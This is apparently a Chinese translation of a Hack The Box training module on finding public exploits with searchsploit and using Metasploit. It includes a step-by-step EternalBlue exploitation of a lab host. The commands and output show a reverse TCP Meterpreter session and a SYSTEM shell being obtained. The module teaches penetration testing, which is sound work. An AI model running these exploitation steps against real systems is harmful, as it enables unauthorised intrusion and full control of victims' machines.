⚠️ 重要安全提示
站长特别提醒:在使用公开的漏洞利用代码(PoC)时需保持警惕。网络安全研究人员发现,在GitHub等平台上托管的公开PoC中,有相当一部分(约10%)包含恶意内容。这些恶意代码可能隐藏信息窃取程序、远程访问木马(RAT)或其他恶意负载。建议采取以下防护措施:
- 验证代码来源和作者信誉
- 在运行前仔细审查代码
- 使用VirusTotal等平台扫描可执行文件
- 在隔离的测试环境中进行操作
- 保持对最新威胁信息的关注
当我们通过Nmap扫描识别出运行在开放端口上的服务后,第一步就是查找这些应用程序/服务是否存在任何公开的漏洞利用代码(exploits)。无论是Web应用程序还是运行在SSH或FTP等开放端口上的其他应用程序,都可能找到公开的漏洞利用方法。
查找公开漏洞利用
在枚举阶段,我们可以使用多种工具来搜索可能遇到的各种应用程序和服务的公开漏洞利用代码。一种方法是通过谷歌搜索应用程序名称加上”exploit”关键词,查看是否有结果。

此外,一个众所周知的工具是searchsploit,我们可以用它来搜索任何应用程序的公开漏洞/利用代码。我们可以使用以下命令安装它:
guhusf@htb[/htb]$ sudo apt install exploitdb -y
然后,我们可以使用searchsploit按名称搜索特定的应用程序,如下所示:
guhusf@htb[/htb]$ searchsploit openssh 7.2
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH 7.2 - Denial of Service | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration | linux/remote/40136.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
我们也可以利用在线漏洞利用数据库搜索漏洞,例如Exploit DB、Rapid7 DB或Vulnerability Lab。关于Web应用程序的公开漏洞讨论,可以参考”Web应用程序导论”模块。
Metasploit 入门
Metasploit框架(MSF)是渗透测试人员的卓越工具。它包含许多针对已知公开漏洞的内置漏洞利用程序,并提供了简便的方法来利用这些漏洞攻击易受攻击的目标。MSF还具有许多其他功能,例如:
- 运行侦察脚本以枚举远程主机和已攻陷的目标系统
- 验证脚本用于测试漏洞是否存在而无需实际攻陷目标
- Meterpreter,这是一个强大的工具,可用于连接shell并在被攻陷的目标系统上执行命令
- 许多后期利用和 pivoting 工具
让我们看一个基本的例子,了解如何为我们要攻击的应用程序搜索漏洞利用程序以及如何利用它。要运行Metasploit,我们可以使用msfconsole命令:
guhusf@htb[/htb]$ msfconsole
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v6.0.16-dev ]
+ -- --=[ 2074 exploits - 1124 auxiliary - 352 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit运行后,我们可以使用search exploit命令搜索目标应用程序的漏洞利用程序。例如,我们可以搜索之前识别出的SMB漏洞:
msf6 > search exploit eternalblue
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
<SNIP>
EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010
Tip: Search can apply complex filters such as search cve:2009 type:exploit. See all the filters with help search
我们找到了一个针对该服务的漏洞利用程序。我们可以通过复制其全名并使用USE命令来使用它:
msf6 > use exploit/windows/smb/ms17_010_psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
在运行漏洞利用程序之前,我们需要配置其选项。要查看可配置的选项,我们可以使用show options命令:
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
...SNIP...
任何将Required设置为yes的选项都需要设置,漏洞利用程序才能工作。在本例中,我们只需要设置两个选项:RHOSTS(目标IP地址,可以是一个IP、多个IP或包含IP列表的文件)和LHOST(攻击主机的IP地址,可以是单个IP或网络接口的名称。在下面的例子中,LHOST被设置为我们的tun0接口对应的IP)。我们可以使用set命令设置它们:
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST tun0
LHOST => tun0
设置好这两个选项后,我们就可以开始利用。但在运行脚本之前,我们可以先运行check命令来确认服务器是否存在漏洞:
msf6 exploit(windows/smb/ms17_010_psexec) > check
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
如我们所见,服务器确实存在漏洞。请注意,并非Metasploit框架中的每个漏洞利用程序都支持check功能。最后,我们可以使用run或exploit命令来运行漏洞利用程序:
msf6 exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Built a write-what-where primitive...
[+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload...
[+] 10.10.10.40:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.40:49159) at 2020-12-27 01:13:28 +0000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 39640 created.
Channel 0 created.
Windows 7 Professional 7601 Service Pack 1
(C) Copyright 1985-2009 Microsoft Corp.
C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
如我们所见,我们成功获得了该机器的管理员访问权限,并使用shell命令进入了交互式shell。这些是使用Metasploit利用远程服务器漏洞的基本示例。Hack The Box平台上有许多已退休(Retired)的机器非常适合练习Metasploit,例如(包括但不限于):
- Granny/Grandpa
- Jerry
- Blue
- Lame
- Optimum
- Legacy
- Devel
在本模块后续内容中,我们将逐步讲解Nibbles机器,并演示如何使用Metasploit进行利用。Metasploit是另一个需要加入我们工具包的重要工具,但切记不要仅仅依赖它。要成为全面的测试人员,我们必须了解如何最佳地利用所有可用工具,理解它们有时失败的原因,并知道何时需要转向手动技术或其他工具。
问题
尝试识别上述服务器上运行的服务,然后尝试搜索以找到可利用它们的公共漏洞。一旦找到,尝试获取’/flag.txt’文件的内容。(注意:Web 服务器可能需要几秒钟才能启动)




